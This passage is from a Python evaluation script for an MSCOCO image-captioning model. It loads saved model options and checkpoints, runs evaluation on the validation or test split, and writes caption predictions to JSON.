parser.add_argument('--input_att_h5', type=str, default='data/mscoco/cocotalk_karpathy_att_0816.h5')
parser.add_argument('--input_label_h5', type=str, default='data/mscoco/cocotalk_karpathy_label_0816.h5')
parser.add_argument('--input_attrs_h5', type=str, default='data/mscoco/cocotalk_karpathy_label_semantic_words_mil_det.h5')
parser.add_argument('--input_fc_dir', type=str, default='data/mscoco/cocotalk_karpathy_resnet101_fc')
parser.add_argument('--input_att_dir', type=str, default='data/mscoco/cocotalk_karpathy_resnet101_att')

# misc
parser.add_argument('--model_id', type=str, default='')#an id identifying this run/job. used in cross-val and appended when writing progress files
parser.add_argument('--id', type=str, default='evalscript')#an id identifying this run/job. used only if language_eval = 1 for appending to intermediate files

args = parser.parse_args()
last_name = os.path.basename(args.start_from)
last_time = last_name[0:8]

# Load infos
def load_infos(args):
    model_name = os.path.basename(args.start_from)
    with open(os.path.join(args.start_from, 'infos.pkl')) as f:
        infos = cPickle.load(f)
    # override and collect parameters
    opt = infos['opt']

    for k in vars(args).keys():
        if k in vars(opt):
            vars(opt).update({k: vars(args)[k]})  # copy over options from model
        else:
            vars(opt)[k] = vars(args)[k]
    if opt.data_type ==1:
        opt.input_json = 'data/mscoco/cocotalk_karpathy_0816.json'
        opt.input_label_h5 = 'data/mscoco/cocotalk_karpathy_label_0816.h5'

    if opt.server:
        opt.dump_path = 0
        opt.dump_json = 1
        opt.disp_coarse_to_fine = 0
        opt.dump_output = 0
        opt.batch_size = 10
        if opt.split=='test':
            opt.coco_json = 'data/mscoco/annotations/image_info_test2014.json'
            opt.image_folder = 'data/mscoco/test2014'
            opt.val_images_use = 40775
        else:
            opt.coco_json = 'data/mscoco/annotations/captions_val2014.json'
            opt.image_folder = 'data/mscoco/val2014'
            opt.val_images_use = 40504
    else:
        opt.image_folder = ''

    model, cnn_model, crit = load_models(opt, infos)

    return cnn_model, model, crit, opt, infos

def eval(cnn_model, model, crit, opt, infos, args):
    visualization = False
    if visualization:
        eval_utils.visualize_embeddings(20, model.embed, infos['vocab'])

    # Create the Data Loader instance
    if len(opt.image_folder) == 0:
        loader = DataLoader_pool(opt) if args.pool_loader else DataLoader(opt)
        loader.ix_to_word = infos['vocab']
        loss, split_predictions, lang_stats = eval_utils.eval_split(opt, infos, cnn_model, model, crit, loader, vars(opt))
        print('loss: ', loss)
        if lang_stats:
            print(lang_stats)
    else:
        from misc.dataloader.dataloaderraw import *
        loader = DataLoaderRaw(opt)
        loader.ix_to_word = infos['vocab']
        split_predictions = eval_utils.eval_split(opt, infos, cnn_model, model, crit, loader, vars(opt))

    dump_json = getattr(args, 'dump_json', 0)
    if dump_json == 1:
        # dump the json
        if opt.server:
            json.dump(split_predictions, open('captions_' + opt.split + '2014_' + last_time + '_results.json', 'w'))
        else:
            json.dump(split_predictions, open('vis/vis.json', 'w'))

if __name__ == "__main__":
    cnn_model, model, crit, opt, infos = load_infos(args)
    eval(cnn_model, model, crit, opt, infos, args)